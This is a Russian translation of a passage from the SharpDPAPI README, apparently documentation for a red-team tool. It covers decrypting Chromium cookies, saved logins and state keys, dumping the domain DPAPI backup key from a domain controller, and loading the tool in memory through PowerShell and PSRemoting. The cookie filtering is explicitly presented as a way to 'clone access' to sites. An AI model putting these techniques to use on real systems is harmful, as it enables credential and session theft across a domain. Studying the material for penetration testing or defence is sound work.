Если выполнение происходит в привилегированном контексте, будут обработаны файлы Login Data для ВСЕХ пользователей, в противном случае — только для текущего пользователя.
Команда cookies выполняет поиск файлов 'Cookies' Chromium и расшифровывает значения cookie. Если выполнение происходит в непривилегированном контексте, автоматически используется CryptProtectData() для попытки расшифровки значений. Можно изменить целевое приложение с помощью /browser:<VALUE> (например, edge, brave, slack).
Файлы cookie также можно расшифровать с помощью: a) переданных мастер-ключей "{GUID}:SHA1 {GUID}:SHA1 ...", b) файла /mkfile:FILE с одним или несколькими сопоставлениями мастер-ключей {GUID}:SHA1, c) предоставленного резервного ключа DPAPI домена (/pvk:BASE64... или /pvk:key.pvk) для первоначальной расшифровки мастер-ключей пользователя, или d) /password:X для расшифровки мастер-ключей пользователя, которые затем используются в качестве таблицы поиска для расшифровки. Сопоставления GUID DPAPI можно восстановить с помощью команды Mimikatz sekurlsa::dpapi.
Конкретный файл Cookies можно указать с помощью /target:FILE. Можно указать удалённый сервер /server:SERVER, если также предоставлен /pvk или /password. При обработке более новых версий Chrome/Edge можно указать AES-ключ состояния /statekey:X.
По умолчанию cookie отображаются в формате csv. Это можно изменить с помощью /format:table для табличного вывода или /format:json для вывода, который можно импортировать в EditThisCookie. Также по умолчанию отображаются только неистёкшие значения cookie, но все значения можно вывести с помощью /showall.
Если выполнение происходит в привилегированном контексте, будут обработаны файлы Cookies для ВСЕХ пользователей, в противном случае — только для текущего пользователя.
В команде cookies также есть аргументы /cookie:REGEX и /url:REGEX, чтобы возвращать только имена cookie или URL-адреса, соответствующие указанному регулярному выражению. Это полезно в сочетании с /format:json для лёгкого клонирования доступа к определённым сайтам.
По умолчанию команда statekeys выполняет поиск приложений на базе Chromium (Google Chrome, Edge, Brave и Slack), находит их файлы AES-ключей состояния (например, 'AppData\Local\Google\Chrome\User Data\Local State' и 'AppData\Local\Microsoft\Edge\User Data\Local State') и расшифровывает их с использованием тех же аргументов, которые можно передать для команд cookies и logins. Также можно указать путь к конкретному файлу ключа состояния с помощью параметра /target: (например, "/target:C:\Users\Test\appdata\Local\Google\Chrome\User Data\Local State").
Ключи состояния также можно расшифровать с помощью: a) переданных мастер-ключей "{GUID}:SHA1 {GUID}:SHA1 ...", b) файла /mkfile:FILE с одним или несколькими сопоставлениями мастер-ключей {GUID}:SHA1, c) предоставленного резервного ключа DPAPI домена (/pvk:BASE64... или /pvk:key.pvk) для первоначальной расшифровки мастер-ключей пользователя, или d) /password:X для расшифровки мастер-ключей пользователя, которые затем используются в качестве таблицы поиска для расшифровки. Сопоставления GUID DPAPI можно восстановить с помощью команды Mimikatz sekurlsa::dpapi.
Если выполнение происходит в привилегированном контексте, будут обработаны ключи состояния для ВСЕХ пользователей, в противном случае — только для текущего пользователя.
Команда backupkey извлекает резервный ключ DPAPI домена с контроллера домена с использованием подхода LsaRetrievePrivateData API из Mimikatz. Этот закрытый ключ затем можно использовать для расшифровки мастер-ключей для любого пользователя в домене. И что ещё лучше — ключ никогда не меняется ;)
Для извлечения ключа с удалённого контроллера домена необходимы права администратора домена (или эквивалентные).
Флаг /nowrap предотвращает перенос отображаемого ключа base64.
Этот блоб ключа base64 можно декодировать в бинарный файл .pvk, который затем можно использовать с модулем Mimikatz dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk или в форме блоба/файла /pvk:X с командами SharpDPAPI masterkeys, credentials или vault.
По умолчанию SharpDPAPI пытается определить текущий контроллер домена с помощью вызова API DsGetDcName. Сервер можно указать с помощью /server:COMPUTER.domain.com. Если нужно сохранить ключ на диск вместо вывода в виде блоба base64, используйте /file:key.pvk.
Мы не планируем выпускать бинарные файлы для SharpDPAPI, поэтому вам придётся собирать их самостоятельно :)
SharpDPAPI собран для .NET 3.5 и совместим с Visual Studio 2019 Community Edition. Просто откройте файл проекта .sln, выберите "Release" и выполните сборку.
Конфигурация сборки SharpDPAPI по умолчанию предназначена для .NET 3.5, что может не работать на системах без установленной этой версии. Чтобы собрать SharpDPAPI для .NET 4 или 4.5, откройте файл решения .sln, перейдите в Проект → Свойства SharpDPAPI и измените "Целевую платформу" на другую версию.
Если вы хотите запустить SharpDPAPI в памяти через обёртку PowerShell, сначала соберите SharpDPAPI и закодируйте полученную сборку в base64:
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\SharpDPAPI.exe")) | Out-File -Encoding ASCII C:\Temp\SharpDPAPI.txt
Затем SharpDPAPI можно загрузить в скрипт PowerShell следующим образом (где "aa..." заменяется на строку с закодированной в base64 сборкой SharpDPAPI):
$SharpDPAPIAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))
Метод Main() и любые аргументы можно вызвать так:
[SharpDPAPI.Program]::Main("machinemasterkeys")
Из-за особенностей обработки вывода в PSRemoting необходимо перенаправить stdout в строку и вернуть её вместо прямого вывода. К счастью, в SharpDPAPI есть функция, которая помогает с этим.
Если вы следуете инструкциям из Примечание: Запуск SharpDPAPI через PowerShell для создания файла SharpDPAPI.ps1, добавьте в конец скрипта примерно следующее:
[SharpDPAPI.Program]::MainString("machinemasterkeys")
После этого вы сможете запускать SharpDPAPI через PSRemoting примерно так:
$s = New-PSSession dc.theshire.local
Invoke-Command -Session $s -FilePath C:\Temp\SharpDPAPI.ps1
Альтернативно, аргумент SharpDPAPI /consoleoutfile:C:\FILE.txt перенаправит все потоки вывода в указанный файл.